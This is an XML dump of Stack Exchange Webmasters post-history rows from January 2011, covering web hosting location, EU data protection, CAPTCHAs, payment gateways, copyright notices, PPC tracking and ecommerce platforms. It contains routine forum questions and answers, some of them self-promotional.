  <row Id="17679" PostHistoryTypeId="2" PostId="8222" RevisionGUID="4112cb47-8479-4654-92e1-e6a1cb869017" CreationDate="2011-01-25T09:11:14.550" UserId="1089" Text="Participate in other programming blogs, help add value to their sites by commenting insightfully and intelligently. Of course include links to your blog in posting (this is perfectly possible without seeming spammy, as other posters have touched on)&#xD;&#xA;&#xD;&#xA;Hopefully either they will reciprocate or your comments will help attract users with your style of writing or quality or responses (its also good writing practise)" />
  <row Id="17680" PostHistoryTypeId="2" PostId="8223" RevisionGUID="fb0c6ce2-4e0c-4be9-b0aa-76de37bcfd91" CreationDate="2011-01-25T09:15:49.807" UserId="4883" Text="You can but...&#xD;&#xA;&#xD;&#xA;**Legal Issues:**&#xD;&#xA;&#xD;&#xA;&gt; Personal data shall not be transferred&#xD;&#xA;&gt; to a country or territory outside the&#xD;&#xA;&gt; European Economic Area unless that&#xD;&#xA;&gt; country or territory ensures an&#xD;&#xA;&gt; adequate level of protection for the&#xD;&#xA;&gt; rights and freedoms of data subjects&#xD;&#xA;&gt; in relation to the processing of&#xD;&#xA;&gt; personal data.&#xD;&#xA;&#xD;&#xA;That is known as &quot;[Data Protection Principle][1]&quot;&#xD;&#xA;&#xD;&#xA;The UK Commissioner will evaluate the data transfer following these recommendations:&#xD;&#xA;&#xD;&#xA;&gt;  1. Transfer of data to a third country (European Countries).&#xD;&#xA;&gt;  2. Adequate level of protection of the guest country.&#xD;&#xA;&gt;  3. Adequate safeguards (of data of course)&#xD;&#xA;&gt;  4. Other derogation (will evaluate the overall respect of the other&#xD;&#xA;&gt; principles).&#xD;&#xA;&#xD;&#xA;The first point obviously apply only if the DATA is kept in the European territory.&#xD;&#xA;&#xD;&#xA;En example are social networks that, for performance issues, they need to distribute their data centers worldwide. In this case the Commissioner will check that the minimum required by the UK legislation is met in the third country.&#xD;&#xA;&#xD;&#xA;**Performance issues**&#xD;&#xA;&#xD;&#xA;It's hard to say, you have to make some theoretical calculus...&#xD;&#xA;&#xD;&#xA;Site Viewers Per Day 	1000&#xD;&#xA;Site Pages Per Viewer 	10&#xD;&#xA;Site Average Page Size 	32768 Bytes &#xD;&#xA;&#xD;&#xA;Site Page Views    0.116	Pages Per Second&#xD;&#xA;                   10000.000    Pages Per Day&#xD;&#xA;                   304100       Pages Per Month&#xD;&#xA;Site Traffic 	   312.500      Megabytes (MB) Per Day&#xD;&#xA;                   9.280        Gigabytes (GB) Per Month&#xD;&#xA;&#xD;&#xA;Then a bit more of Math magic and you can see how much bandwidth you need per second.&#xD;&#xA;&#xD;&#xA;When you know that you need, let's say, 200 kb per second, you can try to ask to the host provider to let you upload some small files during one week and during different time frame and you can evaluate the overall performance. &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Data_Protection_Act#Data_protection_principles" />
  <row Id="17681" PostHistoryTypeId="2" PostId="8224" RevisionGUID="3ec10f0e-6b96-4c86-8bb1-98de793961e5" CreationDate="2011-01-25T09:16:15.443" UserId="4643" Text="KeyCAPTCHA captcha ([online demo][1]) uses HTML5 in all browsers and mobile devices exept Internet Explorer and Opera where it uses FLASH    &#xD;&#xA;&#xD;&#xA;PS   &#xD;&#xA;It seems it is very slow noe in Mozilla FireFox, I dunno why... Try other browsers, Chrome....&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.keycaptcha.com/?changelang=en" />
  <row Id="17682" PostHistoryTypeId="2" PostId="8225" RevisionGUID="c1c96b36-a412-4972-a68e-30882740c7ca" CreationDate="2011-01-25T09:23:18.870" UserId="4643" Text="[Use KeyCAPTCHA][1] and [forget about Akismet][2] with moderation&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3613023/if-i-use-captcha-will-i-be-able-to-stop-the-spam-completely-in-my-blog/4790395#4790395&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="17683" PostHistoryTypeId="5" PostId="8223" RevisionGUID="003bf9df-dcfe-45e8-a7ee-373fcd717b2a" CreationDate="2011-01-25T09:26:49.217" UserId="4883" Comment="added 11 characters in body" Text="You can but...&#xD;&#xA;&#xD;&#xA;**Legal Issues:**&#xD;&#xA;&#xD;&#xA;&gt; Personal data shall not be transferred&#xD;&#xA;&gt; to a country or territory outside the&#xD;&#xA;&gt; European Economic Area unless that&#xD;&#xA;&gt; country or territory ensures an&#xD;&#xA;&gt; adequate level of protection for the&#xD;&#xA;&gt; rights and freedoms of data subjects&#xD;&#xA;&gt; in relation to the processing of&#xD;&#xA;&gt; personal data.&#xD;&#xA;&#xD;&#xA;That is known as &quot;[Data Protection Principle][1]&quot;&#xD;&#xA;&#xD;&#xA;The UK Commissioner will evaluate the data transfer following these recommendations:&#xD;&#xA;&#xD;&#xA;&gt;  1. Transfer of data to a third country (European Countries).&#xD;&#xA;&gt;  2. Adequate level of protection of the guest country.&#xD;&#xA;&gt;  3. Adequate safeguards (of data of course)&#xD;&#xA;&gt;  4. Other derogation (will evaluate the overall respect of the other&#xD;&#xA;&gt; principles).&#xD;&#xA;&#xD;&#xA;The first point obviously apply only if the DATA is kept in the European territory.&#xD;&#xA;&#xD;&#xA;En example are social networks that, for performance issues, they need to distribute their data centers worldwide. In this case the Commissioner will check that the minimum required by the UK legislation is met in the third country.&#xD;&#xA;&#xD;&#xA;**Performance issues**&#xD;&#xA;&#xD;&#xA;It's hard to say, you have to make some theoretical calculus...&#xD;&#xA;&#xD;&#xA;I found this [bandwidth calculator][2] that can help you, then, when you will have the numbers, you can ask your new provider to let you try to upload/download some files from one of its server, so that you can evaluate.&#xD;&#xA;&#xD;&#xA;If they won't let you do it, well, you can look for another provider, or you can try some of customer web server (their internet sites I mean) that are using the same host provider (portfolios is the key).&#xD;&#xA;&#xD;&#xA;You have to use some tools to check the network performance, if you use Firefox, I advice you to use https://addons.mozilla.org/en-US/firefox/addon/firebug/... It's just perfect&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Data_Protection_Act#Data_protection_principles&#xD;&#xA;  [2]: http://www.numion.com/calculators/serverreq.htmlmance. " />
  <row Id="17684" PostHistoryTypeId="5" PostId="8224" RevisionGUID="59cf0ea8-54df-403a-810b-6058e9293a59" CreationDate="2011-01-25T09:30:28.487" UserId="4643" Comment="added 128 characters in body" Text="KeyCAPTCHA captcha ([online demo][1]) uses HTML5 in all browsers and mobile devices exept Internet Explorer and Opera where it uses FLASH    &#xD;&#xA;&#xD;&#xA;PS   &#xD;&#xA;It seems it is very slow loading  in Mozilla FireFox due to [SPAMHAUS filtering][2] ...   &#xD;&#xA;Use other browsers to try out, Chrome....&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.keycaptcha.com/?changelang=en&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="17685" PostHistoryTypeId="2" PostId="8226" RevisionGUID="4f0a4cfc-2511-4ece-b595-b2de98d6cb28" CreationDate="2011-01-25T09:32:48.173" UserId="4643" Text="I disagree with accepted answer. [Akismet is pain in the ass][1]  for webmasters and visitors.  &#xD;&#xA;&#xD;&#xA;Use [reliable captcha][2] and forget about anything else, moderation included.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [2]: http://stackoverflow.com/questions/3613023/if-i-use-captcha-will-i-be-able-to-stop-the-spam-completely-in-my-blog/4790395#4790395" />
  <row Id="17686" PostHistoryTypeId="2" PostId="8227" RevisionGUID="9bba2f99-56c1-4172-9e34-da2879e18e6e" CreationDate="2011-01-25T09:34:17.143" UserId="4643" Text="[KeyCAPTCHA][1] is free and was never broken&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3613023/if-i-use-captcha-will-i-be-able-to-stop-the-spam-completely-in-my-blog/4790395#4790395" />
  <row Id="17687" PostHistoryTypeId="2" PostId="8228" RevisionGUID="d4cab951-70f2-4c93-bfbc-f979214b2133" CreationDate="2011-01-25T09:41:48.667" UserDisplayName="user4884" Text="http://www.Live2Support.com is an awesome live chat software. It’s one of the best I think. There support is really great. I never had to for a reply. Problems are solved quickly. They are always friendly. There 99.9% uptime guarantee does really work. " />
  <row Id="17688" PostHistoryTypeId="2" PostId="8229" RevisionGUID="603746db-1fb0-4156-9c1c-4368105c4426" CreationDate="2011-01-25T09:54:15.250" UserId="3307" Text="Take a look at [these articles][1]. There's some good general linux knowledge there&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cloudservers.rackspacecloud.com/index.php/Ubuntu_10.04_LTS_(Lucid)" />
  <row Id="17689" PostHistoryTypeId="6" PostId="7781" RevisionGUID="e601753f-7229-44ef-ba5c-f014cfcbdd13" CreationDate="2011-01-25T09:55:54.143" UserId="4643" Comment="edited tags" Text="&lt;advertising&gt;&lt;payments&gt;&lt;spam&gt;&lt;spam-prevention&gt;&lt;captcha&gt;" />
  <row Id="17691" PostHistoryTypeId="2" PostId="8231" RevisionGUID="ef8d4d97-69ff-47e8-a026-9f0ddc5c309c" CreationDate="2011-01-25T10:02:45.910" UserDisplayName="user4884" Text="Sub domain also consider like a mini site. I suggest you to create categories for new new stuff. Name internal web page using your keywords and promote those urls. I am sure you won't be needed new domain or sub domains." />
  <row Id="17692" PostHistoryTypeId="2" PostId="8232" RevisionGUID="3a228825-998d-4d4f-b8d5-baaded80aad7" CreationDate="2011-01-25T10:08:39.157" UserId="4643" Text="Will you need localized instructions to assemble a [jigsaw puzzle][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://keycaptcha.com" />
  <row Id="17693" PostHistoryTypeId="2" PostId="8233" RevisionGUID="9f49df55-9ae4-48a7-b6ef-c0b9ab1152a2" CreationDate="2011-01-25T10:22:01.127" UserId="2490" Text="I host my site in US, but my customers are mostly in Europe. It is slow for them. But as you said yourself hosting is cheaper in the US. " />
  <row Id="17694" PostHistoryTypeId="5" PostId="8224" RevisionGUID="abaad76e-7b9f-4b73-a728-91f93beb4b9c" CreationDate="2011-01-25T10:29:35.940" UserId="4643" Comment="deleted 22 characters in body" Text="KeyCAPTCHA captcha ([online demo][1]) uses HTML5 in all browsers and mobile devices exept Internet Explorer and Opera where it uses FLASH    &#xD;&#xA;&#xD;&#xA;PS   &#xD;&#xA;It seems very slow loading  in Mozilla FireFox last few days...   &#xD;&#xA;Use other browsers to try out, Chrome....  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.keycaptcha.com/?changelang=en&#xD;&#xA;  [2]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="17695" PostHistoryTypeId="25" PostId="8221" RevisionGUID="2ba9526a-5677-4468-b605-a56f22dfbed9" CreationDate="2011-01-25T10:55:49.693" Comment="http://twitter.com/#!/StackWebmasters/status/29854951337365504" />
  <row Id="17699" PostHistoryTypeId="2" PostId="8235" RevisionGUID="a56a4921-8074-4e7e-a610-412b8b2bbb97" CreationDate="2011-01-25T12:39:46.537" UserId="205" Text="[JS and CSS Script Optimizer][1] - combines your scripts and stylesheets into one document each for minimizing total HTTP requests.  The web page generally doesn't render until all of the stylesheets have been loaded, so if you have several attached, this can really improve load time.&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/js-css-script-optimizer/" />
  <row Id="17700" PostHistoryTypeId="2" PostId="8236" RevisionGUID="8682288c-a92b-4d77-b90b-387f0457380f" CreationDate="2011-01-25T12:43:01.070" UserDisplayName="user4889" Text="The more capable option to shared hosting would be a managed server while the VPS option you consider would rather be a more configurable option to shared hosting. You usually don't switch to a VPS to get more power but to tweak the system and run custom software.&#xD;&#xA;&#xD;&#xA;The cloud thing really doesn't say much about the power or configurability, but about the fact that you can spin the service on and off on demand. A cloud server might be the equivalent to a VPS or an unmanaged server, but paid on an hourly basis." />
  <row Id="17707" PostHistoryTypeId="2" PostId="8237" RevisionGUID="f587e9c9-0041-4323-b110-da00ef108945" CreationDate="2011-01-25T13:00:05.097" UserId="4888" Text="I transfered my wordpress blog from .com to a self host but it is full with embeds from youtube and flickr, written like thus:&#xD;&#xA;&#xD;&#xA;&gt; [youtube=http://www.youtube.com/watch?v=someurl]&#xD;&#xA;&#xD;&#xA;and so how do I go about converting those wordpress.com embeds to normal embeds?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="17708" PostHistoryTypeId="1" PostId="8237" RevisionGUID="f587e9c9-0041-4323-b110-da00ef108945" CreationDate="2011-01-25T13:00:05.097" UserId="4888" Text="Embeddables and moving from wordpress.com to self host" />
  <row Id="17709" PostHistoryTypeId="3" PostId="8237" RevisionGUID="f587e9c9-0041-4323-b110-da00ef108945" CreationDate="2011-01-25T13:00:05.097" UserId="4888" Text="&lt;wordpress&gt;&lt;embed&gt;" />
  <row Id="17710" PostHistoryTypeId="2" PostId="8238" RevisionGUID="7e9e47fd-a4db-4d56-acb6-5f731f22ed64" CreationDate="2011-01-25T13:28:25.420" UserId="1953" Text="I'd say the best way to find out your preference is to give it a try, one of the best features of VPS/cloud servers is that they are typically billed on a pay as you go, so you can spin up a new server try installing everything you want, run whatever tests you want on it and then delete it and it will only cost the hour or so you spent playing. I've used Rackspace Cloud in the past (as linked by Piers they have awesome documentation) their cloud servers start at $0.015/hour so you can setup a test server and play with it for 10 hours and it will only cost you $0.15.   &#xD;&#xA;&#xD;&#xA;http://www.rackspacecloud.com/cloud_hosting_products/servers/pricing/" />
  <row Id="17712" PostHistoryTypeId="5" PostId="8221" RevisionGUID="12d09d58-ae54-44fb-ac2e-1fd4c8b71bd2" CreationDate="2011-01-25T13:55:06.760" UserId="1685" Comment="deleted 41 characters in body" Text="I have a realty website that needs a payment gateway for their property reservation. The reservation fee range from $500-$600 and about 5-6 people per month. I was wondering if Paypal is the best solution for accepting Payment. What will be the Pros and Cons using Paypal.&#xD;&#xA;&#xD;&#xA;Paypal was my first choice because It's easy to integrate on my existing website and I wouldn't be minding so much on the security. &#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;It's not a part of the question, But If you can site some realty website that accept payment and would be a good inspiration. It would be highly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="17713" PostHistoryTypeId="25" PostId="8212" RevisionGUID="3a24c96c-3372-4d25-8102-f6589c80ec86" CreationDate="2011-01-25T13:55:50.467" Comment="http://twitter.com/#!/StackWebmasters/status/29900252358119424" />
  <row Id="17714" PostHistoryTypeId="2" PostId="8240" RevisionGUID="a59ce9f0-191c-49ba-a835-d5ef41448a0e" CreationDate="2011-01-25T13:59:18.810" UserId="4672" Text="Here's a nifty flash-like website made by Chris Coyier of CSS-Tricks.com:&#xD;&#xA;[http://chris-mcgarry.com][1]&#xD;&#xA;&#xD;&#xA;Chris mainly is using JQuery here, with the aim being that a visitor can play the music tracks and navigate to any page without the music stopping.&#xD;&#xA;&#xD;&#xA;Chris is a strong advocate of using Html5 now.  This example does not really use that many Html5 elements, but it really captures the spirit of a flash-free future. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://chris-mcgarry.com" />
  <row Id="17715" PostHistoryTypeId="2" PostId="8241" RevisionGUID="7f2faf7b-4373-455e-9bb3-920e554634e6" CreationDate="2011-01-25T14:19:29.887" UserId="4672" Text="Joomla might be worth a look.  They have an excellent Social Community plugin that allows for paid membership:&#xD;&#xA;http://www.joomlapolis.com/&#xD;&#xA;&#xD;&#xA;Some features of Joomlapolis as shown on their webpage:&#xD;&#xA;    * Add member subscriptions to your community&#xD;&#xA;    * Allow paid or free memberships&#xD;&#xA;    * Subscribers pay you&#xD;&#xA;    * Sell products and services&#xD;&#xA;    * Collect donations&#xD;&#xA;    * Control access to content&#xD;&#xA;" />
  <row Id="17716" PostHistoryTypeId="2" PostId="8242" RevisionGUID="c621db68-0e6e-4408-801d-881034438fd6" CreationDate="2011-01-25T14:22:44.190" UserId="4270" Text="I have integrated Authorize.Net into an E-Commerce website for credit card transactions. I believe you can also integrate Google Checkout as an option." />
  <row Id="17717" PostHistoryTypeId="2" PostId="8243" RevisionGUID="e7d1534b-7597-4655-ab63-b8a3a5489621" CreationDate="2011-01-25T14:53:40.950" UserId="1588" Text="Should I update the copyright notice every January? as in &#xD;&#xA;&gt; &amp;copy; ACME Corp 2011&#xD;&#xA;&#xD;&#xA;I'm not asking about whether to claim copyright at all (that is dealt with [here][1]), but whether the **year** has any importance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/95/how-do-i-copyright-my-website" />
  <row Id="17718" PostHistoryTypeId="1" PostId="8243" RevisionGUID="e7d1534b-7597-4655-ab63-b8a3a5489621" CreationDate="2011-01-25T14:53:40.950" UserId="1588" Text="Is it important to show the current year alongside my (c) Copyright symbol?" />
  <row Id="17719" PostHistoryTypeId="3" PostId="8243" RevisionGUID="e7d1534b-7597-4655-ab63-b8a3a5489621" CreationDate="2011-01-25T14:53:40.950" UserId="1588" Text="&lt;copyright&gt;" />
  <row Id="17720" PostHistoryTypeId="2" PostId="8244" RevisionGUID="d0a1a082-829d-43b0-81a8-7e1b63c99292" CreationDate="2011-01-25T14:55:23.690" UserId="2552" Text="I absolutely love [Magento][1] for cheap quick E-commerce websites. I put together a website on it last year for a swimwear company. Here's a link to the site I built on it for comparison in case you want a real word example to see versus the demo they have on their website:&#xD;&#xA;http://www.swankini.com/&#xD;&#xA;&#xD;&#xA;It also has plenty of developer support, plugins, and templates out there. It's targeted more towards an e-commerce website than a blog so it won't have as nice blog functionality as wordpress out of the box.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/" />
  <row Id="17721" PostHistoryTypeId="2" PostId="8245" RevisionGUID="017241e4-91dd-4536-88d5-45eb5a61c59c" CreationDate="2011-01-25T15:00:36.723" UserDisplayName="user3744" Text="If you have a website that’s been up for more than a year, you should include the date range of how long it has been live. For example, if you put your website online in 2001, your copyright should look like this: © ACME Corp 2001-2011" />
  <row Id="17722" PostHistoryTypeId="2" PostId="8246" RevisionGUID="2ce8233f-f1b0-4294-a288-f0f6a16ca07a" CreationDate="2011-01-25T15:09:46.307" UserId="2552" Text="The cost of Authorize.Net includes a 1 time setup fee ($100), then a $20 a month fee plus an additional $10 monthly for the reoccurring billing plugin. The benefit being it has a fixed cost of $0.10 per transaction. Paypal pro is free to activate plus $20 a month and 2.2-2.9% +$0.30 per transaction.&#xD;&#xA;&#xD;&#xA;Generally if your around $3,400 or higher in transactions a month you'd want to consider Authorize.net or if you need the other features they provide such as directly linking into your merchant account and POS processing*. &#xD;&#xA;&#xD;&#xA;*Paypal does do POS processing but it's not as smooth to integrate from my personal experience." />
  <row Id="17723" PostHistoryTypeId="2" PostId="8247" RevisionGUID="50fcb072-ade6-4825-a927-ec93af895d81" CreationDate="2011-01-25T15:13:38.747" UserId="2180" Text="I'm not sure what solution exist for variable bitrate video to Android, but as I understand it, m3u8 is the best way to do this for iPhone. &#xD;&#xA;&#xD;&#xA;1.) Is it possible to stream this format using Microsoft Smooth Streaming? &#xD;&#xA;&#xD;&#xA;2.) Would it be possible to also stream video for Android with the same server? " />
  <row Id="17724" PostHistoryTypeId="1" PostId="8247" RevisionGUID="50fcb072-ade6-4825-a927-ec93af895d81" CreationDate="2011-01-25T15:13:38.747" UserId="2180" Text="Can Microsoft Smooth Streaming stream variable bitrate video to iPhone and Android?" />
  <row Id="17725" PostHistoryTypeId="3" PostId="8247" RevisionGUID="50fcb072-ade6-4825-a927-ec93af895d81" CreationDate="2011-01-25T15:13:38.747" UserId="2180" Text="&lt;video&gt;&lt;iphone&gt;&lt;android&gt;&lt;streaming&gt;" />
  <row Id="17726" PostHistoryTypeId="2" PostId="8248" RevisionGUID="7d4058c3-4a9f-4357-b4ea-0ab2a9417838" CreationDate="2011-01-25T15:38:22.253" UserDisplayName="user4894" Text="What are some of best tracking software packages available for PPC and a website?" />
  <row Id="17727" PostHistoryTypeId="1" PostId="8248" RevisionGUID="7d4058c3-4a9f-4357-b4ea-0ab2a9417838" CreationDate="2011-01-25T15:38:22.253" UserDisplayName="user4894" Text="Tracking PPC and website stats" />
  <row Id="17728" PostHistoryTypeId="3" PostId="8248" RevisionGUID="7d4058c3-4a9f-4357-b4ea-0ab2a9417838" CreationDate="2011-01-25T15:38:22.253" UserDisplayName="user4894" Text="&lt;ppc&gt;" />
  <row Id="17729" PostHistoryTypeId="2" PostId="8249" RevisionGUID="9db93a53-056e-40ba-a0bc-c4cb005b969c" CreationDate="2011-01-25T15:41:24.433" UserId="3310" Text="The date is supposed to be when it was published. So if content is ongoing then it could be a range or it could be the date of the most recent revision.  If the site has had no changes then it should be the earliest date.&#xD;&#xA;&#xD;&#xA;Some people prefer it to be recent to look fresh, others prefer to make it as long ago as possible to show they got there first.  Basically there is no convention and as you mentioned in your question it means absolutely nothing legally so you can put whatever you like." />
  <row Id="17730" PostHistoryTypeId="2" PostId="8250" RevisionGUID="d6311ab0-ec5c-4e8b-b381-6a7a7a13d0d9" CreationDate="2011-01-25T15:53:00.060" UserId="3535" Text="I've played with Magento, which is one of the more popular open-source solutions out there. I wasn't too keen on the structure of the file system, for me it wasn't very intuitive to dive in and figure out how to customize templates. I personally had a better experience building an eCommerce site using [OpenCart][1]. It has an active user forum for getting answers. It was easier for me to jump in to the code and figure out how to make changes. To each their own though...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opencart.com/" />
  <row Id="17731" PostHistoryTypeId="2" PostId="8251" RevisionGUID="ed6daa07-be94-4dab-beef-c9a516c9df86" CreationDate="2011-01-25T16:05:42.227" UserId="1667" Text="To my knowledge, JamesRyan is right in that it means nothing as legality goes. Having said that, I've found that it does tend to have an effect on users. &#xD;&#xA;&#xD;&#xA;Back in the day, it was commonplace to indicate content freshness via the &quot;Website Last Updated&quot; blurb. Since that's no longer the rage, I've had many a user refer to using the copyright date as a rudimentary freshness check. &#xD;&#xA;&#xD;&#xA;Bearing that in mind, I think it's prudent to keep it updated but there's no need to update it manually. It's pretty easy to handle with a bit of server code:&#xD;&#xA;&#xD;&#xA;In PHP:&#xD;&#xA;&#xD;&#xA;    &amp;copy; 2009 – &lt;?php echo date('Y'); ?&gt; YourSite.com&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17732" PostHistoryTypeId="2" PostId="8252" RevisionGUID="b05d4346-f847-43cc-ac2f-eaef20b54c6b" CreationDate="2011-01-25T16:25:11.023" UserDisplayName="user4896" Text="I was wondering if there is anyway you can block or exclude people from submitting multiple fake ip's online . For example I have a google pay-per-click campaign set up on adwords. I downloaded a program in minutes which enabled me to hide or give out a fake ip address which also allows you to use a different ip each time. I tried this out on my own link on google which in turn got through adwords and I was charged for the click. My question is how would you be able to counter or block someone who continuosly clicks on your link with a different fake ip each time? &#xD;&#xA;" />
  <row Id="17733" PostHistoryTypeId="1" PostId="8252" RevisionGUID="b05d4346-f847-43cc-ac2f-eaef20b54c6b" CreationDate="2011-01-25T16:25:11.023" UserDisplayName="user4896" Text="Tracing and blocking ip's" />
  <row Id="17734" PostHistoryTypeId="3" PostId="8252" RevisionGUID="b05d4346-f847-43cc-ac2f-eaef20b54c6b" CreationDate="2011-01-25T16:25:11.023" UserDisplayName="user4896" Text="&lt;ppc&gt;" />
  <row Id="17735" PostHistoryTypeId="2" PostId="8253" RevisionGUID="0b8905d2-13af-46a7-b71e-b1c533d6b48f" CreationDate="2011-01-25T16:37:36.413" UserId="4897" Text="Try this: http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html#multipleDomains&#xD;&#xA;&#xD;&#xA;Where you would modify &#xD;&#xA;&#xD;&#xA;    _gaq.push(['_setDomainName', '.example-petstore.com']);&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    _gaq.push(['_setDomainName', '.mydomain.co.za']);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The profile for each subsite could us a custom filter on hostname to show only traffic to the subsite.&#xD;&#xA;" />
  <row Id="17736" PostHistoryTypeId="2" PostId="8254" RevisionGUID="790a868a-1285-4f9b-a3c2-0b625ede335c" CreationDate="2011-01-25T16:51:40.143" UserId="4895" Text="The best can depend on what sort of PPC you are doing. I've used a few different solutions and can recommend a few for different types of campaign.&#xD;&#xA;&#xD;&#xA;Google Analytics is my default website analytic package, it also integrates well with Adwords for smaller Adwords PPC campaigns.&#xD;&#xA;&#xD;&#xA;For search PPC on Adwords, Bing, Yahoo, etc then you can try using Prosper202. It's free, selfhosted and easy to install and configure. A new version is due out &quot;soon&quot; with extra functionality.&#xD;&#xA;&#xD;&#xA;I've not used it much but another good option is Bevo Media. It's got some more advanced features over Prosper202 however it's slightly more focused towards CPA and affiliate marketing.&#xD;&#xA;&#xD;&#xA;If you're planning a campaign using CPV/PPV traffic then a more specialist tracking solution is CPVLab. Very powerful and flexible system that can track many different types of advertising campaigns.&#xD;&#xA;&#xD;&#xA;For large scale display and media buys then you're going to be looking at a proper ad server. OpenX is free but does have some limitations. If you have a large budget then systems Google Doubleclick, Adshuffle and many more enterprise scale platforms are available but that's well outside my expertise." />
  <row Id="17737" PostHistoryTypeId="25" PostId="8248" RevisionGUID="c0fea2b2-e1bd-42f5-a1bb-fb09e978bda9" CreationDate="2011-01-25T16:55:51.310" Comment="http://twitter.com/#!/StackWebmasters/status/29945554452615168" />
  <row Id="17738" PostHistoryTypeId="2" PostId="8255" RevisionGUID="9646959e-4bb8-448b-9e73-7957f0ec3e19" CreationDate="2011-01-25T17:04:32.753" UserDisplayName="user4898" Text="A client wants a customer re-order form for their Web site, but it's getting pretty lengthy. Here is what the page looks like:&#xD;&#xA;http://fjt.dnsalias.net/interoofficesolutions/index.php?option=com_chronocontact&amp;chronoformname=SmileStarters&#xD;&#xA;&#xD;&#xA;There has to be an easier way to do this. Any suggestions?&#xD;&#xA;&#xD;&#xA;Lallo " />
  <row Id="17739" PostHistoryTypeId="1" PostId="8255" RevisionGUID="9646959e-4bb8-448b-9e73-7957f0ec3e19" CreationDate="2011-01-25T17:04:32.753" UserDisplayName="user4898" Text="Client wants a re-order form for their business. Best approach?" />
  <row Id="17740" PostHistoryTypeId="3" PostId="8255" RevisionGUID="9646959e-4bb8-448b-9e73-7957f0ec3e19" CreationDate="2011-01-25T17:04:32.753" UserDisplayName="user4898" Text="&lt;php&gt;&lt;forms&gt;" />
  <row Id="17741" PostHistoryTypeId="2" PostId="8256" RevisionGUID="5a94721e-2e2e-4336-b633-9e8d9eab9210" CreationDate="2011-01-25T17:10:25.353" UserId="4895" Text="A cloud or VPS server that is setup with cpanel (or your control panel of choice) will not really make any difference to you and should seem very much like the old shared hosting you used. Both will perform fine for 500-1000/day visitors, even when configured with a low spec, &#xD;&#xA;&#xD;&#xA;If your not technical or interested in learning then the important part is to select a &quot;Managed&quot; service. This will give you access to the experts at the hosting company who will look after the server and software. An unmanaged service will leave you to take care of upgrades, security and configuration.&#xD;&#xA;&#xD;&#xA;You can see the difference in support levels for [Storm Cloud Servers][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bit.ly/e6PYhP" />
  <row Id="17742" PostHistoryTypeId="2" PostId="8257" RevisionGUID="5070d7c3-3526-42d4-adfd-42ecab1d2a0c" CreationDate="2011-01-25T17:24:16.483" UserId="4895" Text="You should note that Google is using website load time as a factor in your websites search engine rankings. This data is collected by users who have the Google toolbar installed who visit your site. If the majority of users are from the UK then you may see a slight increase in load times and a possible drop in rankings. &#xD;&#xA;&#xD;&#xA;Secondly if you're not using a .co.uk or another country specific TLD then it's possible Google/Bing will not correctly classify your site as a UK website due to the server location. This could make it harder to rank in google.co.uk. You will need to make sure you update the site's target location in the relevant Google and Bing webmaster tools.&#xD;&#xA;&#xD;&#xA;However I will say that I host 90% of my sites in the USA even if they target other countries. While I don't believe the page load speed is a major issue, Making sure that the location in webmaster tools are configured properly is very important!" />
  <row Id="17746" PostHistoryTypeId="2" PostId="8259" RevisionGUID="29e9c736-3451-4bfa-a128-a92193dc791e" CreationDate="2011-01-25T17:48:15.843" UserId="110" Text="Try offering &quot;packages&quot; that are the pre assembled SKUs in some logical quantity.  &quot;Starter Pack&quot; &quot;Stocking Up Pack&quot; &quot;Bare Essentials Pack&quot; or something like that.&#xD;&#xA;&#xD;&#xA;Offer a customize button off of those packages are loads your form (or something similar) and pre fills the quantity fields that your customer can tweak.&#xD;&#xA;&#xD;&#xA;For just the order form, use a tabbed interface for main groups so the page isn't so tall.  Maybe each of your H1's is a tab heading" />
  <row Id="17747" PostHistoryTypeId="2" PostId="8260" RevisionGUID="326117c5-9ac3-4c7b-a35e-53a357fdb775" CreationDate="2011-01-25T17:49:36.523" UserId="576" Text="I find these 2 sites to be good &amp; practical examples of HTML5 usage -&#xD;&#xA;&#xD;&#xA; - “[20 Things I Learned about Browsers&#xD;&#xA;   and the Web][1]”  is an online&#xD;&#xA;   illustrated guide from Google aimed&#xD;&#xA;   at casual users. [There are plans to open-source the code][2].&#xD;&#xA; -  [Stephen Walther's JavaScript&#xD;&#xA;   Reference][3] built with HTML5 &amp;&#xD;&#xA;   jQuery. The [source code][4] &amp; [explanation][5] on [how it was built][6] is available from the author's blog.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.20thingsilearned.com/&#xD;&#xA;  [2]: http://googlecode.blogspot.com/2010/11/html5-browsers-and-books-twenty-years.html&#xD;&#xA;  [3]: http://superexpert.com/JavaScriptReference/&#xD;&#xA;  [4]: http://superexpert.com/resources/JavaScriptReference/&#xD;&#xA;  [5]: 